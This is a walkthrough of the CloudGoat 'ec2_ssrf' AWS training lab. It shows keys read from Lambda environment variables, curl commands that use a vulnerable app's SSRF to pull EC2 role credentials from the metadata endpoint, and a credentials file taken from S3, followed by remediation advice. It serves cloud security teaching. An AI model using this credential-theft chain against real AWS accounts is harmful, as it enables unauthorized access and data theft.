Cloudgoat Medium: EC2 SSRF

In this lab, we'll be doing a walkthrough on the ec2_ssrf cloudgoat scenario. It's rated moderate, and the goal is to invoke a specific Lambda function that we don't start with permission to touch.
Summary of the path
Start as Solus with Lambda read access -> List the Lambda and find EC2 keys in its env vars -> Pivot to Wrex and enumerate EC2 -> Find an SSRF-vulnerable web app on the instance -> SSRF the metadata endpoint for the EC2 role's credentials -> Use the role to read a secret S3 bucket -> Recover Shepard's credentials -> Invoke the Lambda as Shepard and win
Unlike some of the other scenarios, there's no single misconfiguration to point at here. This is a chain: four different identities, each one leaving behind the keys to the next. The thread running through all of it is credentials stored somewhere they can be read, plus a metadata endpoint that hands out a role to anyone who can make the server request it.
Setting up
We start with the Solus user's keys.
$ cloudgoat create ec2_ssrf
<SNIP>
$ aws configure --profile solus
Enumerating Lambda
Solus can read Lambda, so that's where we look first.
$ aws lambda list-functions --profile solus
<SNIP>
"FunctionName": "cg-lambda-cgid6qq24avi7d",
"Runtime": "python3.11",
"Handler": "lambda.handler",
"Description": "Invoke this Lambda function for the win!",
"Environment": {
"Variables": {
"EC2_ACCESS_KEY_ID": "AKIAUWJPWY7OUOQ5VCJF",
"EC2_SECRET_KEY_ID": "<REDACTED>"
}
},
The description tells us this is the function we eventually need to invoke, and the environment variables hand us a set of access keys straight away. Same idea as the Beanstalk lab earlier in the series: Lambda environment variables are configuration, and anyone who can describe the function reads them in plaintext.
get-function gives us the same variables plus a presigned link to the deployment package, so we can pull the source too.
$ aws lambda get-function --function-name cg-lambda-cgid6qq24avi7d --profile solus
<SNIP>
"Code": {
"RepositoryType": "S3",
"Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/...<SNIP long presigned URL>"
}
$ unzip cg-lambda-cgid6qq24avi7d-<SNIP>.zip
lambda.py
$ cat lambda.py
def handler(event, context):
# You need to invoke this function to win!
return "You win!"
Nothing hidden in the code, it just confirms the goal. What matters is the key pair in the env vars.
Pivoting to Wrex
Configure a profile with the exposed keys and see who they belong to.
$ aws configure --profile solus-01
<SNIP>
$ aws sts get-caller-identity --profile solus-01
{
"UserId": "AIDAUWJPWY7OUYUBJH7HD",
"Account": "<ACCOUNT_ID>",
"Arn": "arn:aws:iam::<ACCOUNT_ID>:user/wrex-cgid6qq24avi7d"
}
We're now Wrex. Let's see what this identity can see, starting with EC2.
$ aws ec2 describe-instances --profile solus-01
<SNIP trimmed to the one running instance>
"InstanceId": "i-06052608c73939134",
"PublicIpAddress": "44.200.12.173",
"PublicDnsName": "ec2-44-200-12-173.compute-1.amazonaws.com",
"IamInstanceProfile": {
"Arn": "arn:aws:iam::<ACCOUNT_ID>:instance-profile/cg-ec2-instance-profile-cgid6qq24avi7d"
},
"SecurityGroups": [
{ "GroupName": "cg-ec2-ssh-cgid6qq24avi7d" }
],
"MetadataOptions": {
"HttpTokens": "optional",
"HttpEndpoint": "enabled"
},
"State": { "Name": "running" }
One running instance with a public IP. Two things stand out. It has an IAM instance profile attached, so the machine carries a role we'd like to get our hands on. And HttpTokens: optional means the metadata service accepts unauthenticated requests, which will matter in a moment.
(The full output also lists a couple of terminated instances tagged for other scenarios. Those are leftovers, ignore them.)
Finding the SSRF
Visiting the instance in a browser shows a small demo app.
Welcome to sethsec's SSRF demo.
I am an application. I want to be useful, so give me a URL to request for you
It takes a url parameter and fetches whatever we point it at, from the server's side. That's a textbook server-side request forgery setup, and the most useful thing to make an EC2 instance request is its own metadata endpoint at 169.254.169.254, an address only reachable from the instance itself.
$ curl "http://ec2-44-200-12-173.compute-1.amazonaws.com/?url=http://169.254.169.254/"
<SNIP>
1.0
2007-01-19
<SNIP>
latest
The metadata service answers, which confirms the SSRF reaches it. From here we walk to the credentials path. The role name comes from the instance profile we already saw in describe-instances (you can also list it at /latest/meta-data/iam/security-credentials/).
$ curl "http://ec2-44-200-12-173.compute-1.amazonaws.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgid6qq24avi7d"
<SNIP>
{
"Code" : "Success",
"AccessKeyId" : "ASIAUWJPWY7OY63B4YQX",
"SecretAccessKey" : "<REDACTED>",
"Token" : "<REDACTED>",
"Expiration" : "2026-08-24T11:00:16Z"
}
Those are temporary credentials for the EC2 role, delivered to us through the vulnerable app.
Assuming the EC2 role
Configure a profile with the three values (these are temporary creds, so the session token is required).
$ aws configure --profile solus-02
<SNIP>
$ aws sts get-caller-identity --profile solus-02
{
"UserId": "AROAUWJPWY7OWORT22A7F:i-06052608c73939134",
"Account": "<ACCOUNT_ID>",
"Arn": "arn:aws:sts::<ACCOUNT_ID>:assumed-role/cg-ec2-role-cgid6qq24avi7d/i-06052608c73939134"
}
We're now acting as the instance's role. Check what it can reach in S3.
$ aws s3 ls --profile solus-02
2026-08-24 12:25:05 cg-secret-s3-bucket-cgid6qq24avi7d
<SNIP>
$ aws s3 ls s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/ --profile solus-02
2026-08-24 12:25:11 135 credentials
$ aws s3 cp s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/credentials . --profile solus-02
download: s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/credentials to ./credentials
$ cat credentials
[default]
aws_access_key_id = AKIAUWJPWY7O5ZRSVOTO
aws_secret_access_key = <REDACTED>
region = us-east-1
A credentials file sitting in a bucket, which is our third set of keys.
Invoking the lambda function
Configure them and see who we've landed as.
$ aws sts get-caller-identity --profile solus-03
{
"UserId": "AIDAUWJPWY7OWE72XQSZW",
"Account": "<ACCOUNT_ID>",
"Arn": "arn:aws:iam::<ACCOUNT_ID>:user/shepard-cgid6qq24avi7d"
}
Shepard, the identity that's allowed to invoke the Lambda from the very first step.
$ aws lambda invoke --function-name cg-lambda-cgid6qq24avi7d win.txt --profile solus-03
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
$ cat win.txt
"You win!"
Fixing it
No single change stops this, because the compromise is a chain. Each link is its own fix, and breaking any one of them stops the hop that follows.
Keep long-lived keys out of Lambda environment variables. Anyone with
lambda:GetFunctionreads them in plaintext. Store secrets in Secrets Manager or SSM Parameter Store and pull them at runtime, or better, give the function its own execution role instead of embedding another user's keys.Enforce IMDSv2 on the instance. Setting
HttpTokenstorequiredmakes the metadata service demand a session token obtained with aPUT, which a simple SSRFGETcan't perform. This one change alone breaks the credential theft even if the SSRF stays. DroppingHttpPutResponseHopLimitto 1 helps too.Fix the SSRF. The demo app fetches arbitrary URLs with no validation. It should reject requests to link-local and private ranges (169.254.169.254, 10/8, 127/8) and allowlist the destinations it actually needs.
Don't store credential files in S3. The
aws/credentialsobject is plaintext keys at rest. Scope the EC2 role to only the buckets and actions it genuinely needs, and keep secrets out of object storage entirely.Alert on the tell-tale events. Metadata credentials used from an IP that isn't the instance's,
GetFunctioncalls from unexpected principals, and reads of a credentials object in S3 are each worth a CloudTrail alarm.
Tear the lab down when you're finished:
$ cloudgoat destroy ec2_ssrf





